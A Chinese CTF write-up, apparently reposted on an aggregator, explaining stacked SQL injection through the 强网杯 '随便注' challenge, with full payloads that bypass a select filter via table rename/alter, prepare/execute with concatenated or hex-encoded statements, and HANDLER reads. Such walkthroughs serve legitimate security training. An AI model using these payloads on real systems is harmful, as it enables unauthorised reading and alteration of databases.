SQL注入:堆叠注入-强网杯[随便注]

目录

什么是堆叠注入?

强网杯-随便注

rename && alter绕过

 prepare绕过

Handle绕过


靶机:BUUCTF在线评测

什么是堆叠注入?

在一些场景中,应用程序支持一次执行多条SQL语句,我们称为堆叠查询,如果应用程序中存在SQL注入漏洞,攻击者就可以在原有的SQL语句后添加新的SQL语句,这种攻击就成为堆叠注入攻击

将多个语句一起进行查询,比如

select * from users;show databases; 

产生这种注入的原理也很简单,是由于PHP mysql_multi_query()这个函数支持多个SQL语句同时执行,只需要使用;分割即可。

例如:我们可以使用下列一条语句同时查询出两条数据:

强网杯-随便注

现在知道了堆叠注入是什么后,现在在强网杯的随便注例题试试看

进入到题目中发现是这样的:

那么可以提交一个1看看会有什么反应:

尝试使用'闭合

可以看到这里也是报错了,说明是存在注入点的

那么我们可以尝试注入一下数据库有多少列:

通过测试发现数据库中一共是有2列,那么再来试试使用union 来进行联合查询一下:

可以看到这里打印的是后端过滤的字符串,我们需要使用的select被过滤掉了

这里不使用这些被过滤的字符串,使用堆叠注入我们可以使用show直接查出数据库和表名:

也可以使用desc查看一下表结构:

注:这个纯数字的表名需要使用反引号引起来

根据上面查找知道回显的表是有两列的,因此就是word表了

现在需要做的就是查询字段了,但是select 关键字被过滤了,无法查询,因此我们需要绕过限制来查询数据: 

rename && alter绕过

现在知道了前台是有显示数据的,并且这个数据是从words这个表中读取的,因此,我们可以把表名1919810931114514 改为word,并将数字名的表中的列名改为与words表里同样的列名就可以让前台顺利的读取flag

我们先查看一下words表中的列名:

1';show columns from words;

可以看到分别是id 和 data然后我们现在需要去将1919810931114514表中的列名flag 修改为 data 并添加一列 id,因为words表有两列,而1919810931114514表只有一列

payload:

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

重命名完成后,使用alter进行查询:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

 可以看到这样就成功的拿到了flag

 prepare绕过

预处理或者说是可传参的语句用来高效的执行重复的语句

MYSQL官方将:prepareexecutedeallocate统称为PREPARE STATEMENT

三个基本语句:

prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;

payload

1';seT @a = CONCAT('se','lect * from `1919810931114514`;'); pRepare flag from @a;EXECUTE flag;#

 

set prepare 被过滤了,因此在payload中进行简单的大小写绕过

首先设定一个变量a 并使用mysql的concat函数拼接语句

prepare from 是预处理语句

execute用来执行由SQLPrepare创建的SQL语句

而值得注意的是,SET只能一次对一个变量赋值

也可以使用编码来绕过select

使用Hex对

select * from ` 1919810931114514 `

进行编码

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

而无论是payload1中的prepare flag 还是payload2中的execsql他们都是我们起的一个代称,下面的execute用来执行这个你起的代称。比如 EXECUTE flag execute execsql

Handle绕过

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。

不使用索引

# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]
​
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]# 关闭以打开的句柄
HANDLER tbl_name CLOSE

使用select查询 users表中的数据:

使用handler查询 users表中的数据:

首先打开句柄:

handler users open;

接着查询数据:

handler users read first;
​
handler users read next;

payload:

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/694936.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MyBatis-Plus:通用分页实体封装

分页查询实体:PageQuery package com.example.demo.demos.model.query;import com.baomidou.mybatisplus.core.metadata.OrderItem; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import lombok.Data; import org.springframework.util.St…

MYSQL数据库详解

一、数据库的基本概念 数据(data):指对客观事物进行描述并可以鉴别的符号。这些符号是可识别的,抽象的。 比如数字、图片、音频等。 数据库管理系统(DBMS):数据库极其管理它的软件组成。 数据库…

机器人内部传感器阅读笔记及心得-位置传感器-电位器式位置传感器

位置传感器 位置感觉是机器人最基本的感觉要求,可以通过多种传感器来实现。位置传感器包括位置和角度检测传感器。常用的机器人位置传感器有电位器式、光电式、电感式、电容式、霍尔元件式、磁栅式及机械式位置传感器等。机器人各关节和连杆的运动定位精度要求、重…

qt-OPENGL-星系仿真

qt-OPENGL-星系仿真 一、演示效果二、核心程序三、下载链接 一、演示效果 二、核心程序 #include "model.h"Model::Model(QOpenGLWidget *_glWidget) { glWidget _glWidget;glWidget->makeCurrent();initializeOpenGLFunctions(); }Model::~Model() {destroyV…

【Pytorch深度学习开发实践学习】B站刘二大人课程笔记整理lecture04反向传播

lecture04反向传播 课程网址 Pytorch深度学习实践 部分课件内容: import torchx_data [1.0,2.0,3.0] y_data [2.0,4.0,6.0] w torch.tensor([1.0]) w.requires_grad Truedef forward(x):return x*wdef loss(x,y):y_pred forward(x)return (y_pred-y)**2…

浅谈WPF之利用RichTextBox实现富文本编辑器

在实际应用中,富文本随处可见,如留言板,聊天软件,文档编辑,特定格式内容等,在WPF开发中,如何实现富文本编辑呢?本文以一个简单的小例子,简述如何通过RichTextBox实现富文…

Zabbix 6.2.1 安装

目录 1、监控介绍 监控的重要性 网站的可用性 监控范畴 如何监控 2、Zabbix 介绍 zabbix 简介 zabbix 主要功能 zabbix 监控范畴 Zabbix 监控组件 zabbix 常见进程 zabbix agentd 工作模式 zabbix 环境监控中概念 3、搭建LNMP 拓扑规划 安装MySQL 安装 Nginx …

【智能家居】7、主程序编写+实现语音、网络和串口功能

需要毕业论文私信有偿获取 截止目前mainPro.c代码 #include <stdio.h> #include <string.h>#include "controlDevices.h" #include "inputCmd.h"struct Devices *findDevicesName(char *name,struct Devices *phead){struct Devices *tmp=ph…

2012及其以上系统修改服务器密码指南

修改服务器密码指南,目前介绍两种不同的方案 方法一 指令式 winR键 弹出运行框里输入 cmd 点击确认或者右下角开始程序里面的点开运行 2.在弹出框里手动输入以下一组文字&#xff1a;net user administrator 123456 框内无法粘贴 需要手动输入 其中administrator 是用…

贝叶斯统计——入门级笔记

绪论 1.1 引言 全概率公式 贝叶斯公式 三种信息 总体信息 当把样本视为随机变量时&#xff0c;它有概率分布&#xff0c;称为总体分布&#xff0e; 如果我们已经知道总体的分布形式这就给了我们一种信息&#xff0c;称为总体信息 样本信息 从总体中抽取的样本所提供的信息 先…

【PX4学习笔记】13.飞行安全与炸机处理

目录 文章目录 目录使用QGC地面站的安全设置、安全绳安全参数在具体参数中的体现安全绳 无人机炸机处理A&#xff1a;无人机异常时控操作B&#xff1a;无人机炸机现场处理C&#xff1a;无人机炸机后期维护和数据处理D&#xff1a;无人机再次正常飞行测试 无人机飞行法律宣传 使…

22. 【Linux教程】Linux 结束进程

前面小节介绍了如何启动一个程序进程&#xff0c;还介绍了如何查看系统进程信息&#xff0c;本小节来介绍如何通过 kill 命令结束进程。 1. Linux 进程信号介绍 下面列举出 Linux 进程信号的描述&#xff1a; 信号名称描述1HUP挂起2INT中断3QUIT结束运行9KILL无条件终止11SEG…

STM32CubeIDE开发(二), 全面解析cubeMX图形配置工具

STM32CubeIDE开发(二&#xff09;&#xff0c; 全面解析cubeMX图形配置工具 已于 2023-03-15 10:31:13 修改1374 收藏 29 分类专栏&#xff1a; ​编辑STM32CubeIDE开发实践案例专栏收录该内容 36 篇文章43 订阅 订阅专栏 目录 一、cubeIDE 集成cubeMX 二、STM32CubeMX…

Python format函数

在Python编程中&#xff0c;format()函数是一个非常重要且常用的字符串格式化方法&#xff0c;用于将各种数据类型插入到字符串中&#xff0c;并指定其格式。这个函数可以动态地生成各种格式的字符串&#xff0c;包括文本、数字、日期等。本文将深入探讨Python中的format()函数…

【Vuforia+Unity】AR04-地面、桌面平面识别功能

不论你是否曾有过相关经验&#xff0c;只要跟随本文的步骤&#xff0c;你就可以成功地创建你自己的AR应用。 官方教程Ground Plane in Unity | Vuforia Library 这个功能很棒&#xff0c;但是要求也很不友好&#xff0c;只能支持部分移动设备&#xff0c;具体清单如下&#xf…

Socket通信---Python发送数据给C++程序

0. Problems 很多时候实现某种功能&#xff0c;需要在不同进程间发送数据&#xff0c;目前有几种主流的方法&#xff0c;如 让python和C/C程序互相发送数据&#xff0c;其实有几种方法&#xff1a; 共享内存共享文件Socket通信 在这里只提供Socket通信的例程&#xff0c;共享…

挑战30天学完Python:Day16 日期时间

&#x1f4d8; Day 16 &#x1f389; 本系列为Python基础学习&#xff0c;原稿来源于 30-Days-Of-Python 英文项目&#xff0c;大奇主要是对其本地化翻译、逐条验证和补充&#xff0c;想通过30天完成正儿八经的系统化实践。此系列适合零基础同学&#xff0c;或仅了解Python一点…

奇异递归模板模式应用5-静态多态

动态多态&#xff1a;C动态多态是利用虚函数特性实现的&#xff0c;即基类指针(引用&#xff09;指向派生类指针(引用)。由于虚函数的实现是在运行期进行的&#xff0c;因而会产生运行期开销&#xff08;虚表指针偏移&#xff0c;与分支预测器和CPU指令流水线相关&#xff09;。…

【关于深度学习的一些资料】

曾梦想执剑走天涯&#xff0c;我是程序猿【AK】 目录 动手学深度学习Awesome Deep LearningTensorFlow Official ModelsPyTorch Image ModelsDeep Reinforcement LearningNeural Style Transfer 动手学深度学习 动手学深度学习 https://zh.d2l.ai/chapter_installation/index.…

Java Web(七)__Tomcat(二)

Tomcat工作模式 Tomcat作为Servlet容器&#xff0c;有以下三种工作模式。 1&#xff09;独立的Servlet容器&#xff0c;由Java虚拟机进程来运行 Tomcat作为独立的Web服务器来单独运行&#xff0c;Servlet容器组件作为Web服务器中的一部分而存在。这是Tomcat的默认工作模式。…